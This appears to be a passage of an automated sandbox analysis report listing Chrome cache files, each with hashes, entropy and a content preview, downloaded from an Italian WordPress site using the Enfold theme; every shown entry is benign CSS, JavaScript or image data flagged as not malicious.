File Type:	ASCII text
Category:	downloaded
Size (bytes):	1478
Entropy (8bit):	4.6100727546381295
Encrypted:	false
SSDEEP:	24:rcT7tMTbeWTTLRT2TzAPTWDpTXPOTN2TLvFTLpHL7tbey2GETNTrTY2SwTB:DT6TrkivlSJGS
MD5:	B9D6D602C979AFAC668127BE7FADD419
SHA1:	3400EE1C8A3F0A6D0ACABF7A642A4219C6D4DD10
SHA-256:	BDE8A94F49386D7BAB81BDFC1BCFE06028D23120903FE8CC419D208273E59FA4
SHA-512:	C57DB2CE7BF278E9254F52190C2B7FA76A660E8A6E95AFA7A4322504C15EB28ABF493CF6CA53A6C355E5784CBB4B503A8E4F0EE268EC971B393F8146B1D63CF2
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttons_fullwidth/buttons_fullwidth.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Fullwidth Button.====================================================================================================================================================== */...#top .avia-button-fullwidth{ width: 100%; padding:20px; font-size: 1.5em; margin:0;border:none; position: relative; display:block;}.#top .avia-button-fullwidth .avia-button-fullwidth{font-size: 1em;}.#top .avia-button-fullwidth .av-button-description{font-size: 0.8em; position: relative; z-index: 3; opacity: 0.7;}.#top .avia-button-fullwidth .av-button-description-above p:first-child{margin-top:0;}.#top .avia-button-fullwidth .av-button-description-below p:last-child {margin-bottom:0;}....#top .avia-button-fullwidth:hover{opacity: 1;}.#top .avia-button-fullwidth .avia_button_icon, #top .avia-button-fullwidth .avia_iconbox_title{ position: relative; z-index: 3; -web

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3691
Entropy (8bit):	4.92121733010683
Encrypted:	false
SSDEEP:	48:Xdri1XeJX1gnye5qsMWTyv1l8JDcC4CouJCpd5JxJrL1y1tw:41XeJX1gnye5s/tl8QQWbVL1QC
MD5:	913F2499B977D922FE31344222AF4757
SHA1:	5AEF51CF072B545F949A254984083B674260E825
SHA-256:	ECDC3E1733B4465431016227C1C31CD75BB931A284B9728A4478217E8A57EEE0
SHA-512:	59D071A7B6838747579351EF899A9275ADBB266754092D466D8331DB2FF8D349CE72880BAE8F6456B65105E7DEBC156FA8C3B59D6596F0BCF4EF7228ABBD0EBB
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tabs/tabs.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Tabs.====================================================================================================================================================== */.#top .tabcontainer{.background: transparent;.}...tabcontainer{.margin: 30px 0;.position: relative;.width:100%;.clear: both;.overflow: hidden;.background: transparent;.}...tab_titles{.position: relative;.width:100%;.clear: both;.float:left;.z-index: 5;.}...widget .tabcontainer{.margin-top:0px;.}....js_active .tab_content{.visibility: hidden;.clear: both;.padding: 10px 19px;.overflow:auto;.position: absolute;.top:0;.z-index: 0;.left:120%;.width:100%;.}...js_active .tab{.cursor:pointer;.margin:0 -1px 0 0;.display: block;.float: left;.z-index: 2;.position: relative;.padding:12px 16px;.top:1px;.font-size: 0.8em;.-webkit-touch-callout: none;.-webkit-user-select: none;.-khtml-user-sele

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20087)
Category:	downloaded
Size (bytes):	20216
Entropy (8bit):	5.338721920008614
Encrypted:	false
SSDEEP:	384:lPhVPXQ2G2XAQyqVxRQ5giCCMLtA15h5/F6l8aZwHwztLCpmst:lPBIt8I5h5t1qkOLCMst
MD5:	BA6CF724C8BB1CF5B084E79FF230626E
SHA1:	F455C5F153F872E52265F87A644FF89FE14A6FB6
SHA-256:	3FDDC6D28ABA3C13D64CFD4847C333FF48C71D4A5A58BD1A0494CA6AE8AC1BB4
SHA-512:	22C361E44DDE632DEDAFF2625F6631E2FB02BA3B6487097B48BAA09F02CD81FD381EBB7D053F525E52E56655B1F8E2B89DDCC0A002E1B0C35C0A6920823641D7
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/js/aviapopup/jquery.magnific-popup.min.js?ver=4.5
Preview:	/! Magnific Popup - v1.1.0 - 2016-02-20. http://dimsemenov.com/plugins/magnific-popup/.* Copyright (c) 2016 Dmitry Semenov; */.!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):a("object"==typeof exports?require("jquery"):window.jQuery\|\|window.Zepto)}(function(a){var b,c,d,e,f,g,h="Close",i="BeforeClose",j="AfterClose",k="BeforeAppend",l="MarkupParse",m="Open",n="Change",o="mfp",p="."+o,q="mfp-ready",r="mfp-removing",s="mfp-prevent-close",t=function(){},u=!!window.jQuery,v=a(window),w=function(a,c){b.ev.on(o+a+p,c)},x=function(b,c,d,e){var f=document.createElement("div");return f.className="mfp-"+b,d&&(f.innerHTML=d),e?c&&c.appendChild(f):(f=a(f),c&&f.appendTo(c)),f},y=function(c,d){b.ev.triggerHandler(o+c,d),b.st.callbacks&&(c=c.charAt(0).toLowerCase()+c.slice(1),b.st.callbacks[c]&&b.st.callbacks[c].apply(b,a.isArray(d)?d:[d]))},z=function(c){return c===g&&b.currTemplate.closeBtn\|\|(b.currTemplate.closeBtn=a(b.st.closeMarkup.replace("%title%",b.st.tClose)),g=c),

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3106
Entropy (8bit):	5.0805450955042755
Encrypted:	false
SSDEEP:	48:EfprP714GU1LYzbW/sjSFEuMB3g9iGyIgasXljGC:epeGs6W/s4k3OgHpGC
MD5:	20E8490FAB0DCF7557A5C8B54494DB6F
SHA1:	285DB746DFC0D43B9CA42F8D65B69C908FF72CA5
SHA-256:	FBE820B6140AD28E86F34FFAE507D807CF591A22697A05B71958F2014E96A9E4
SHA-512:	2B3DA277E8DF9273F672EC262B9700090612A9EF664899C9AC689FB815C708F787FBDC0DDEFE9037ADAA9C8384DE152E53B59EE017918A2E9AD1EB7D81BF90EB
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-public.css?ver=3.0.5
Preview:	#cookie-law-info-bar {..font-size: 15px;..margin: 0 auto;..padding: 12px 10px;..position: absolute;..text-align: center;..box-sizing: border-box;..width:100%;..z-index: 9999;../* box-shadow:rgba(0,0,0,.5) 0px 5px 50px; /..display: none;..left:0px;..font-weight:300;..box-shadow: 0 -1px 10px 0 rgba(172, 171, 171, 0.3);.}.#cookie-law-info-again {..font-size: 10pt;..margin: 0;..padding:5px 10px;..text-align: center;..z-index: 9999;..cursor: pointer;..box-shadow: #161616 2px 2px 5px 2px;.}.#cookie-law-info-bar span {..vertical-align: middle;.}../* Buttons (http://papermashup.com/demos/css-buttons) */..cli-plugin-button, .cli-plugin-button:visited {..display: inline-block;..padding: 9px 12px;..color: #fff;..text-decoration: none;..position: relative;..cursor: pointer;..margin-left: 5px;..text-decoration: none;.}..cli-plugin-main-link {..margin-left:0px;..font-weight: 550; text-decoration: underline;.}..cli-plugin-button:hover {..background-color: #111;..color: #fff;..text-decoration: none;

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1222 x 627, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1490857
Entropy (8bit):	7.989958536302157
Encrypted:	false
SSDEEP:	24576:SEOyLri+sYNFU9QgsEJhobTPgUXedbQOyxuh+ORCoJC5VXcy2Q9O6j:/zBsqKigsEkbTgUXedspURCmnyZ9Hj
MD5:	2AB043490AC102D475BF438F716917C0
SHA1:	E2CA42DBE4B58C9732CB8B6857374CA65CE8B26C
SHA-256:	090E5EEF655D7585F9CB8A875CC1F0AD9D1E55EDA45086F399BBEC7A5502C17A
SHA-512:	4488A2A31BD374D5DECDF282CE3CDB05F927D6C8686DB8ED3A64C75F964953059A598D49938D2AE81077C170371A88CDAC663E6C9D8C63647D8F134A618393EF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......s........0...KiCCPICC Profile..X..y.8.]....\|....<.d..y.g.....C.$c.BH%.+.B%".J.zH.H.J..B..z..y.....}].....k.....un...\|##.....G.P.L....=..s..x...\...H};;+.......a.m.Oe6d.w...0..D....`...M...U.P..Hj.....P\|L...+`....8s..m..../m.89......./5...~...G..e./.}...J..,(...........y"a.1.5.......~.d.....[s.,8#Jtd....;......[.(\i..f..s..6...r...x>.....D....o...A..5s..Gp...a..V.....Y...&.a6V.t.@..9....H..;........<.....u!..........M....cC.......0...O.vr.1...q......X6:..r.G+1...7.5.a.~a.;.D..l.G..RM........y:.bn.....;.m...M......? B.....h7..s..02.;r. ..q[.......(Bd..6?J0 .t...c..8..(..xAn.G.F..9m.J....u.X.C`..A,\..n..(O.[.._[=&..PA...2..#\7{".#H..`.....3....q0.....S..n..m...30... ....9.6....P.K./\..ap......S......mJ.o....91..#....#..D.4QV.S...(5...y...A.._......(i..Yi.&`.&..../P..Le..J...KF..8..J....5+.T.m.7.../..1..Dc../.G...zx......W.#e......~..m........}....7'2.....D. .-...lE."om.?........a.PX......'......o...$l...pw..%(8._......#...

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2056 x 494, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	97851
Entropy (8bit):	7.418342536849731
Encrypted:	false
SSDEEP:	1536:gNDhIrbNufH3QrUzXvDAnd2qJZfk3kcQwxZqXsBwMY9ZbjgAQH7AUUUUUQ:gzIrbwfHmUzDycAskpwxwXswFZbK7AUc
MD5:	B44FCDE83AC201F3581D012822B45D97
SHA1:	02C9071FBBE144A620072CE75942F23506F520C9
SHA-256:	94AAFBBDF656C831AC157DB9D42508A5485FABA8073A611D1AF2C941AA5EDE04
SHA-512:	4B3CEE10052785993D5BC3CC20CC8C5A247CE8751DF7962D4C15754EB461642F258D9256F6C5C2C18961285C1447EF18457AEF7537A03C265A9FC7B908969F6D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................pHYs.................iCCPPhotoshop ICC profile..x..wT.Y.......-!.RBo....k...FH ...B.......X...eDFD... cA,X..{..AE]..6T....{v..=g.s.9..{........Nr.R1...-..b...I.)l.. .......\.ott8...p.....6\.T..[...sy.H4...sy...1...'....$.0^......`..S..-...Lr=.0.&............D.re...].`...r..'....E.....x.\>.M........h..`..O>...LSzr..%O......Q.T.].....+..0...P....$..&kI..%i.QS,.O......!.S...O.b>7 l..Y.S.M...9qS,[.....#....%....Nq.(.3....)..%DNqnVl......S.({..)g.....K...Q.....G...#..)}......J=7/VyV..S....i.h.."..<y.29.....r.H ..}.Rq:.#...b;...$%..'......@XW...N....D0.q..N<.`\|.........)dy.......P.&h.>.....8...@ .B..A2,...!.d...`..C)l..P......!8.mp...E..}p......K...0. ...#.D.1@L.k..qE..@$..A..TD.H..R..CJ.2...4"."'...e....."#.[....4...f.l...E..8t!@s.\|...V.u.A..=.^Eo...Kt.....0C..s...(,...d.*.....f....n`..+.3..c..8.........rp.p.qU...V.y... n...O.....x.>././...+..............E0'..B..L...F..B....O."...Dm.5..E....b.N.A...u.0...J2 9..H)$.i-..t.t.t

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3874
Entropy (8bit):	4.868159924024015
Encrypted:	false
SSDEEP:	96:UpEuZVBaSROpC2naxByjCdGUXoJoxKycxQQhzAY1RTspAQ1mOy:4bZq/4joJoTcfbTEof
MD5:	AC668671BD365BB72715B266F9271104
SHA1:	C709DE79489609DCD4F3E997A3881122C20A1AAA
SHA-256:	6FFCCFD49D5B0B8C3483C78672A281C00DFB05651E7BDA6495152EABEF75058C
SHA-512:	25938F838C08653CB92BF8D95370BF5ECC9EACA39958E441E3FE51BDFA71C7C89016395E0F00BEA6E948DF864498930FC7F0BAEF1C8528A73EACB8C2FAA89BB2
Malicious:	false
Reputation:	low
Preview:	(function($).{ .."use strict";..$.avia_utilities = $.avia_utilities \|\| {};....$(document).ready(function(). {.... //activates the sticky submenu...$.avia_utilities = $.avia_utilities \|\| {};. if($.avia_utilities.avia_sticky_submenu)...$.avia_utilities.avia_sticky_submenu(); . });......$.avia_utilities.avia_sticky_submenu = function()..{...var win ..= $(window),....html ..= $('html:first'),....header .= $('.html_header_top.html_header_sticky #header'),....html_margin = parseInt( $('html:first').css('margin-top'), 10),....setWitdth.= $('.html_header_sidebar #main, .boxed #main'),....menus..= $('.av-submenu-container'),....bordermod.= html.is('.html_minimal_header') ? 0 : 1,....fixed_frame.= $('.av-frame-top').height(),....calc_margin.= function()....{.....html_margin = parseInt( html.css('margin-top'), 10);.....if(!$('.mobile_menu_toggle:visible').length).....{......$('.av-open-submenu').removeClass('av-open-submenu');.....}..........menus.filter('.av-sticky-submenu').each(f

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2939
Entropy (8bit):	4.941391789017286
Encrypted:	false
SSDEEP:	48:2z4A0lVGeY/taXF7dIihItut4n5FkIoY0rfMQgradiyOIf:2z4DlVGz/taXF7dphItutczSY0rfMQgm
MD5:	EA8D6B21B144DFD4101BD9D2F57FD07F
SHA1:	038D9D975D6A6783E04D564E5924ED2E65F0FF9B
SHA-256:	A7C3452D5BD50C5D4F1F12F2EBEA924C57D1BA2B6A6193227CF984655D58E477
SHA-512:	281073FAF73BAB703C695153E484E9737CB04CAA0750E2156673D0B06B0D0072866A27940220B119C10884A21D9FEB1AAA997845B43D5DF07367208F16E6B41F
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/countdown/countdown.js?ver=6.0.9
Preview:	// -------------------------------------------------------------------------------------------.// .// AVIA Countdown.// .// -------------------------------------------------------------------------------------------.(function($).{ .."use strict";....var _units.= ['weeks','days','hours','minutes','seconds'],..._second = 1000,..._minute = _second * 60,..._hour .= _minute * 60,..._day .= _hour * 24,..._week.= _day * 7,....ticker.= function(_self)...{....var _time..= {},....._now ..= new Date(),....._timestamp = _self.end - _now;........if(_timestamp <= 0)....{.....clearInterval(_self.countdown);.....return;....}........._self.time.weeks .= Math.floor( _timestamp / _week);...._self.time.days .= Math.floor((_timestamp % _week) / _day);...._self.time.hours.= Math.floor((_timestamp % _day) / _hour); ...._self.time.minutes .= Math.floor((_timestamp % _hour) / _minute); ...._self.time.seconds .= Math.floor((_timestamp % _minute) / _second); ........switch(_self.data.maximum)....{.....case 1:

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1222 x 630, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1268031
Entropy (8bit):	7.988423203500793
Encrypted:	false
SSDEEP:	24576:IVkYjgK1/q5Tj9LQQc5XrXeKKme+zVZmA7CUd3R8wD+J8IHjNH2BEKR/1RDQ/4:IWYjC5Tj9cQm7nKmXJZD7CEXD+J8AcNB
MD5:	70002FB6B8C65AA21997EF20178127D3
SHA1:	6E08F68FF4C2419835E30836FBE33C6DBD42F346
SHA-256:	C794957D89A7FC2CF33573523070167A76ED63E72C8296F316302AFD61FFC7E8
SHA-512:	1E836E887A61EE0EA0F2A41223C8B3C356E45E0A961D48169872FB71F555F76EBAC8866AEE8BF04037EA0FF02A9C8897E6F8C5911073F645B05AFFD4BD533FE3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......v.............IDATx.t.].,K.-..3...kW...W.%$...u.........x..._.A..9.....f<.s.\u.J[k.5.....n6l\|.....5..@...`.H9C p....rB.1.BR.....R..c..........y..>Ps."#k.W-(..(....Q3T.GI..g9.i.)#..Z.J.9..()!'.B.r.BP..3A..n.&.L..8k...sGI..........T+D.......P.{...&...BD...S.\..4......A....../03.....)..P.D0.....7.4....p..........@0.a.!%.4....0.AE1.@.%.....OU~......C.L..Q..I.>...*D.%g.9.I0.Qr.. I......M....GJ."..@D....)%......s.R0.#.....CU..07..>......TM....x.4.....".U...g.=..X.....l.7...O~......h....\..?.5....Za...?gp...............w.......s...u..a6a>1F....1m.........'.l...OL...x...x...O...x._..'............).;g .xf.P.._8._Q..~.<N...<.@..5W<..L....PQ....5.H9CE HH....0E..I.\..I....B.q..I.D.T.~...\|.o...}/u...{&..4^s?..T4.....E.,.$...".k....51G...\|.`..\|L.[<.../.10z..c..>x.}.Yrw\m..D..P.L..8J.....:.q....s...iPu.,Hj(I!b()....ums..._H.......x..1.r>!n.np(.2....TOh.x..J} ..Z+....8jE..Y3F..t.~..s...a..V..$@.-"...f.,.....RJ.U.q....(%.l@2?K..6....d\......j..O

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	8442
Entropy (8bit):	4.883712838949273
Encrypted:	false
SSDEEP:	96:GIWPKhYRU1hU0+Z9BQR4hqcwsUEVqUWAGITIRMLRRMKHKQnhL65b1pZ1nH91rQ7b:mPooU7UbZ9BZNQE2PLavLJJqvH7cv
MD5:	D796060840929B29AF732AB67485068A
SHA1:	BD4A5D4D0AD834B5AC95D95FEF448E070BBDDFE5
SHA-256:	729B2AEEB7C20E1A31A624DCF851D7CFE83551465820417D5531880C81FBFBED
SHA-512:	93490925D406B6CA471E074BCC3B62833B218280BF63835B2723DAE61F126527D325998954605872690373B38CF1C111E19400E1BFC269AF087909DF232C3820
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_accordion/slideshow_accordion.js?ver=6.0.9
Preview:	(function($).{.."use strict";.// -------------------------------------------------------------------------------------------.// Aviaccordion Slideshow .// .// accordion slider script.// -------------------------------------------------------------------------------------------...$.AviaccordionSlider = function(options, slider)..{.. this.$slider .= $( slider );.. this.$inner. .= this.$slider.find('.aviaccordion-inner');.. this.$slides.= this.$inner.find('.aviaccordion-slide');.. this.$images.= this.$inner.find('.aviaccordion-image');.. this.$last..= this.$slides.filter(':last');.. this.$titles .= this.$slider.find('.aviaccordion-preview');.. this.$titlePos = this.$slider.find('.aviaccordion-preview-title-pos');.. this.$titleWrap = this.$slider.find('.aviaccordion-preview-title-wrap');.. this.$win. .= $( window );.. .. if($.avia_utilities.supported.transition === undefined)...{....$.avia_utilities.supported.transition = $.avia_utilities.supports('t

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4006
Entropy (8bit):	4.938963478269799
Encrypted:	false
SSDEEP:	96:XN7EnMhRl2bK2bV2bHlvjR50GpRg+XUtp7sRXVm956B/WPc3fsfF5m3KegQb9:DvgO/BZSeJR
MD5:	2442B6731365A4C979545B27ED9BA2F3
SHA1:	C92CF2BC3DB7D46B429C259AED9913D88A25C223
SHA-256:	82877F96AD1B8AF225342B4A42A5B55A44A6AF0D5ADA83F564C0B67AFF631416
SHA-512:	15849B2B03CAA8A6FDD99C3FD24FFD81F17301EAC7F3487F1D74F300D85FBFD6232903F7B19815A7A0F57A756374FECBC12D2C827F117A274EE05D704D9831BC
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery_horizontal/gallery_horizontal.css?ver=6.0.9
Preview:	../* ======================================================================================================================================================.Horizontal Gallery.====================================================================================================================================================== */...av-horizontal-gallery{..clear:both;..position: relative;..z-index: 1;..overflow: hidden;.}....av-horizontal-gallery-inner{..position: relative;..white-space:nowrap;..opacity: 0;.}...av-horizontal-gallery-slider{..left:0;..position: absolute;..height:100%;..width:100%;.}...av-horizontal-gallery-wrap{..height:100%;..top:0;..display: inline-block;..position: relative;..z-index: 1;..-webkit-user-select: none; ..-moz-user-select: none;..-ms-user-select: none;..user-select: none;..cursor: pointer;..vertical-align: top;.}...av-horizontal-gallery-animated .av-horizontal-gallery-inner{..-webkit-transition: opacity 0.4s ease-in-out;..transition: ..opacity 0.4s ease

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	809
Entropy (8bit):	5.001051426439148
Encrypted:	false
SSDEEP:	24:7ZwzMWluJWeQg2Q7VwTjMw4jCdDuFfvq0C:90mZt26aujYSFfC0C
MD5:	40AF2BEA652F4C521EBDC0CB27F5317F
SHA1:	99557859A8D00DF4D80706E14E9F8B224E1F12F7
SHA-256:	70F49D696AC849B9B5F3DF0EF9165A7E19EF1FBD318BAE55C3F2D3C4EA15E648
SHA-512:	D3DFC8A05F58F75A8BFBD108E160B9E32723321E18BEB74F6A6C79CB9881B8F51B178AC55B05345672B2D50BF32FB1EF38636A08BF8D2ADE327D1126348BBF2B
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-wpml/wpml-mod.css?ver=4.5
Preview:	.avia_wpml_language_switch {.position: relative;.padding: 0px 0 0 10px;.height: 30px;.line-height: 36px;.margin: 0 0 0 0;.z-index: 151;.-webkit-backface-visibility: hidden;.top:-2px;.right:0;.overflow: hidden;.}...sub_menu ul{float:left;}..#top ul.avia_wpml_language_switch li{.float:left;.margin: 0px 0px 0px 5px;.padding:0;.border:none;.}...avia_wpml_language_switch li:hover{.opacity: 0.8;.}...avia_wpml_language_switch li span{.display:none;.}...avia_wpml_language_switch li .language_flag{.display:block;.}...avia_wpml_language_switch li .language_flag img{.display:inline-block;.border:1px solid rgba(255,255,255,0.2);.}...#icl_lang_sel_widget{.overflow:visible;.z-index:20;.}...html_header_sidebar #top .avia_wpml_language_switch{border-bottom-style:solid; border-bottom-width:1px; padding:0px 10px;}.

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5194
Entropy (8bit):	4.888431568408465
Encrypted:	false
SSDEEP:	96:4eleEPg8gWB+MpsDCg1+gnyo+21cBNOGN0NZNwTZZ2NRui4WTqx/4itKJ:JJIlWB+MiDj1fnyo+21cBNO+/oP4g9
MD5:	0B9D5F8A48575D2D66AECFD926A75FC8
SHA1:	E902E07298C0A5D10953FDBF2A3F28F958DF3DC6
SHA-256:	E60815791C2F9CE7996354B7F1E23FFEDC49FD4D4EE1FC84051A9C1D81E3C35D
SHA-512:	8596B96EE65E40D567C35391F0C30108A85CD077D8C4852C601F19ADF4845EAA23E82BFDA43BD254A1CF7EB0D18FCBB269B270C10B24BA0A44F2CACF616E2F80
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/search/search.css?ver=6.0.9
Preview:	#top .avia_search_element form{. position: relative;. overflow: hidden;. clear: both;.}.#top .avia_search_element form div{. position: relative;. overflow: hidden;.}../* search form wrapper /..av_searchform_wrapper {. border-width: 1px;. border-style: solid;.}../ submit button wrapper */.#top .avia_search_element .av_searchsubmit_wrapper{. position: absolute;. right: 0;. height: 100%;. top: 0;. z-index: 2;. transition: all 0.2s ease-in;.}..#top .avia_search_element .av_searchsubmit_wrapper:hover {. opacity: 0.7;.}..#top .avia_search_element form.ajax_loading_now .av_searchsubmit_wrapper{. padding-right: 60px;.}..#top .avia_search_element form.ajax_loading_now .av_searchsubmit_wrapper.av-submit-hasicon{. padding-right: 0;.}..#top .avia_search_element .av_searchsubmit_wrapper .av-search-icon{. position: absolute;. left: 1em;. top: 50%;. height: auto;. transform: translateY(-50%);. z-index: 2;.}..#top .avia_search_element

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (583)
Category:	downloaded
Size (bytes):	5498
Entropy (8bit):	5.847347848435852
Encrypted:	false
SSDEEP:	96:kSsqdYuSji3KaTa1aOaiacarHZaXacaQj2X61av2HkF77wD8uOTe9:vsEYunOD1av2HjwuOk
MD5:	D2BB3AE594ACE88EF30EE3829D83F360
SHA1:	88FA158D7F7C72D86EFD52A5C16931A14C43E3F2
SHA-256:	481BE5E07D25ACC99546733A64F75D59AA6F347C2BC3CCC6233FCAF3EBFFBDFE
SHA-512:	0365D2DF7BED810ECA3059D5E7BBF784EDA7B6B88F5C0532BA1A7056F2FCD3C4447A4CBB0FAE818B12D32583916AC7DE8D9FF7DE4D53E5BCA7FCA6945F7DEDD9
Malicious:	false
Reputation:	low
URL:	https://mc.yandex.com/metrika/metrika_match.html
Preview:	<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">.<html>.<head>. <meta http-equiv="X-UA-Compatible" content="IE=edge">. <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">. <meta name="viewport" content="width=device-width,initial-scale=1">. <style>body {background-color:#EFF2F7;font-family:system-ui,sans-serif;color:#2F3746;}.main{display:flex;flex-direction:column;align-items:center;}button {background-color:#7A45E5;border-radius:14px;cursor:pointer;color:white;border:0;padding:16px 20px;}button:hover {background-color:#8659e0;}h1{font-size:140px;white-space:nowrap;}h3{font-size:32px;text-align:center;}p{max-width:600px;line-height:24px;text-align:center;margin-bottom:32px;}@media (prefers-color-scheme: dark) {body {background-color:#333;color:white;}}@media (max-width: 650px) {h1 {font-size: 60px;}}</style>.</head>.<body>. <div class="main">. <h1 aria-hidden="true">.\_(.)_/.</h1>. <h3>Something

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (492)
Category:	downloaded
Size (bytes):	19050
Entropy (8bit):	5.200782294825635
Encrypted:	false
SSDEEP:	384:9aLovuNOWbnMS7lfMl/1tBdBIjX8ALobnxl/L:9aL5NOYP7s1tBfUHmfj
MD5:	20D012E69255C68A1991E23BB63E28A9
SHA1:	0BF02ACA38F651D82E17BB799F5FB9468803BAF3
SHA-256:	651A1BF60B8F28C1B95C8048EB173868243E9E8BAA1AC573F5A65644678B3823
SHA-512:	49747092F01CECFB7E32D65C35643A7081F11AFCC1D0D6CD9CF405E407F240273ECAFF22283FE0A4F2E2967EC87D294DC36CCD202B8B86FD1266395AEC034CD1
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/css/base.css?ver=4.5
Preview:	/* Table of Content.==================================================..#Reset & Basics..#Basic Styles..#Site Styles..#Typography..#Links..#Lists..#Images..#Buttons..#Forms..#Table..#Misc. #WordPress Generated Generics. #print styles./../ #Reset & Basics (Inspired by E. Meyers).================================================== */..html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video{...margin: 0;...padding: 0;...border: 0;...font-size: 100%;...font: inherit;...vertical-align: baseline; }..article, aside, details, figcaption, figure, footer, header

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text
Category:	downloaded
Size (bytes):	22078
Entropy (8bit):	4.962069640093992
Encrypted:	false
SSDEEP:	192:HMeKcdKv4DXdf4nE8WNBWdnOiX+7URiBrqQNg3OoeUkKE7KziyjiIHa4lZfAJkL9:8cdryGr0qUMtsGWvf
MD5:	E161A370C369747D0D53850D89DA00D0
SHA1:	A2EC6A6D09693059E336F773882799440476C64B
SHA-256:	42C2AEEE58ABEFBE8E0E8C629C37D07E793C1D258D822BF77C4404F54E3A31DC
SHA-512:	9A693AEF2F523E15EC509ADCBC949BB6B73262D813184CEA6B2EFAB77082E371FC5408B63BE2D6A49DE55FF9A6103BE1C3CB9129BE6937805D52F234143CC0E6
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/blog/blog.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.#Blog Styles.====================================================================================================================================================== */...template-blog .blog-meta{.float:left;.margin-right:50px;.}...multi-big .post_author_timeline , .single-small .post_author_timeline {.position: absolute;.top: 0;.left: 40px;.width: 1px;.height: 100%;.border-right-width:1px;.border-right-style: dashed;.}...single-post .post_author_timeline{.display:none;.}...sidebar_left .template-blog .blog-meta {.float: right;.margin-left: 50px;.margin-right: 0;.}...sidebar_left .multi-big .post_author_timeline , .sidebar_left .single-small .post_author_timeline {.left:auto;.right:40px;.}...sidebar_left .big-preview{.padding:0 131px 10px 0;.}..div .single-big .pagination{padding:1px 50px 10px 1px;}....sidebar_left .author-extra-border{

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1848
Entropy (8bit):	4.724894714024008
Encrypted:	false
SSDEEP:	24:2dkKIhW0puBkkamo8oMOOMU3p7yU8GfZgQi5OW3qcP3GdhWQ70C+hW0trhW6cdWs:EkTMBjZdoMkE75iQijN+bt76lfBSJkS
MD5:	146901F0A263E01098AB0D0F146E47A5
SHA1:	6079F2CB25B97B9F7EE0D73355C3683AC12996F5
SHA-256:	E4A796EB71E0DAD51E33142B80AAAF859C496CCCF824E6396BA7653BB75C4E03
